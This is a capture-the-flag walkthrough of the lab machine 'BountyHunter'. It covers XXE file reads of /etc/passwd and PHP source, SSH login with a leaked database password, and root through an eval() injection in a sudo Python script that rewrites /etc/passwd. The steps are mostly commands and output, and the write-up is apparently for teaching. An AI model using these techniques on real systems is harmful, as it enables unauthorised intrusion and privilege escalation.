BountyHunter
8 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.100
- Release: 24 / 07 / 2021
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -oN nmap/targeted 10.10.11.100 -p 22,80
Nmap scan report for 10.10.11.100
Host is up (0.036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.17 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we access the website on port 80, we will see something like this:
If we go to “PORTAL”, we are redirected to this page:
And clicking in “here”, we go to a development portal to create a kind of bug bounty report:
If we fill the data and submit the form, the server responds with the same data and it is rendered in the website:
We can make use of gobuster
to fuzz for directories:
$ gobuster dir -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.100 -q
/resources (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/assets (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/css (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/js (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/server-status (Status: 403) [Size: 276]
There are some interesting files in the /resources
directory (because there is a directory listing vulnerability):
Here we can read some tasks for the developer, nothing interesting for the moment:
However, there is an interesting JavaScript file called bountylog.js
:
$ curl http://10.10.11.100/resources/bountylog.js
function returnSecret(data) {
return Promise.resolve(
$.ajax({
type: "POST",
data: { "data": data },
url: "tracker_diRbPr00f314.php"
})
);
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
} catch(error) {
console.log('Error:', error);
}
}
These functions are executed when submitting the previous form. It is sending the data to tracker_diRbPr00f314.php
as an XML document. This is telling us clearly that the attack vector is performing an XML External Entity injection (XXE).
Foothold
If the server is vulnerable to XXE, then we are able to read files from the server if we know the full path to the file.
Exploiting an XXE
To exploit XXE, we can write a Bash script called xxe.sh
to automate the process and extract the desired data (detailed explanation here). The idea is to load files from the server as follows:
$ bash xxe.sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
To read the PHP source code, we have used a Base64 wrapper to encode the content and afterwards decode it. This way, we avoid bad characters for XML (such as <
and >
).
We can try some list of files to try when having an LFI, but none are useful. It seems that there must be some sensitive information in the PHP source code, but there is nothing interesting in the ones we know from the website (index.php
, portal.php
, log_submit.php
and tracker_diRbPr00f314.php
, all of them from /var/www/html
).
Finding a password
At this point, we can recall that there was a task in the README.txt
that talked about a database. After some tries, we see that db.php
is found in the server.
If we were not able to figure out the filename, we can try fuzzing it in Bash as follows:
$ for f in $(cat $WORDLISTS/dirbuster/directory-list-2.3-medium.txt); do bash xxe.sh /var/www/html/$f.php | grep -v 'Nothing found' &>/dev/null && echo Found: /var/www/html/$f.php; done
Found: /var/www/html/index.php
Found: /var/www/html/portal.php
Found: /var/www/html/db.php
And yet another alternative is to return to the gobuster
command and add a PHP extension:
$ gobuster dir -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.100 -q -x php
/index.php (Status: 200) [Size: 25169]
/resources (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/assets (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/portal.php (Status: 200) [Size: 125]
/css (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/db.php (Status: 200) [Size: 0]
/js (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/server-status (Status: 403) [Size: 276]
If we use the previous Bash script to read the db.php
file, we see a password:
$ bash xxe.sh /var/www/html/db.php
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
This password can be used to login via SSH as user development
. We know that this user exists because it is listed in /etc/passwd
:
$ bash xxe.sh /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash
And now, we can get the user.txt
flag:
$ ssh development@10.10.11.100
development@10.10.11.100's password:
development@bountyhunter:~$ cat user.txt
40b17284532347c9d5a94488e640f2b3
System enumeration
User development
is able to execute a Python script as root
using sudo
:
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
There is a file called contract.txt
in the home directory. The file tells a little story to end with some reasons for having sudo
permissions on the Python script:
development@bountyhunter:~$ ls -a
. .bash_history .bashrc contract.txt .local .ssh .viminfo
.. .bash_logout .cache .lesshst .profile user.txt
development@bountyhunter:~$ cat contract.txt
Hey team,
I'll be out of the office this week but please make sure that our
contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't
mess this up. Whenever one of you gets on please have a look at the
internal tool they sent over. There have been a handful of tickets
submitted that have been failing validation and I need you to figure
out why.
I set up the permissions for you to test this. Good luck.
-- John
The Python script is shown below:
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i, x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Privilege escalation
The code smell of this script is the use of the eval()
function, which is an unsafe function and is not recommended. With this function, we can get arbitrary code execution as root
(because we have sudo
permissions) performing a command injection in Python language.
In this situation, there are a lot of alternatives to gain access as root
. This time, we will be modifying the password for the root
user in /etc/passwd
. For example, we can use the following password and encrypt it with openssl
(DES Unix format):
$ openssl passwd rocky
JyHhfPjiAYUB2
We can make use of the open()
built-in function to read files and write into them as root
. The idea is to enter the password in /etc/passwd
for the root
user. Just as follows:
- root:x:0:0:root:/root:/bin/bash
+ root:JyHhfPjiAYUB2:0:0:root:/root:/bin/bash
Taking a look at the code, it is reading from a MarkDown file (ticket) and doing some validations. The first is:
for i, x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
So the first line must be # Skytrain Inc
. There is another validation:
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
The program expects a specific second line, so the file must have ## Ticket to
as second line.
And then, to be able to enter Python code, we need to add another line, because there is another validation:
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
As it is shown, another required line is __Ticket Code:__
.
And finally, the ticketCode
variable must be a number that has a remainder of 4
when it is divided by 7
(for example: 4
, 11
, 18
or -3
). This ticketCode
must be followed by a +
sign and then the code that will go directly to eval()
.
Now we need to create a valid ticket.md
in order to execute code with the eval()
function. A possible one is:
# Skytrain Inc
## Ticket to 7Rocky
__Ticket Code:__
**4+open('/etc/passwd', 'w').write('root:JyHhfPjiAYUB2' + open('/tmp/passwd').read()[6:])**
The injected Python code is:
open('/etc/passwd', 'w').write('root:JyHhfPjiAYUB2' + open('/tmp/passwd').read()[6:])
To make this code work, we need to backup the /etc/passwd
file to /tmp/passwd
. The use [6:]
is to get all the content of the /tmp/passwd
except for the first 6 characters, which corresponds exactly to root:x
.
development@bountyhunter:~$ cp /etc/passwd /tmp/passwd
development@bountyhunter:~$ head -1 /tmp/passwd
root:x:0:0:root:/root:/bin/bash
development@bountyhunter:~$ head -1 /etc/passwd
root:x:0:0:root:/root:/bin/bash
Now we execute the script and specify the ticket.md
file where it is located. As shown, the root
password has changed:
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
ticket.md
Destination: 7Rocky
Valid ticket.
development@bountyhunter:~$ head -1 /etc/passwd
root:JyHhfPjiAYUB2:0:0:root:/root:/bin/bash
Now we can login as root
because we have the password:
development@bountyhunter:~$ su root
Password:
root@bountyhunter:/home/development# cat /root/root.txt
5d5a6aae768dd80352e1cefa556aac3f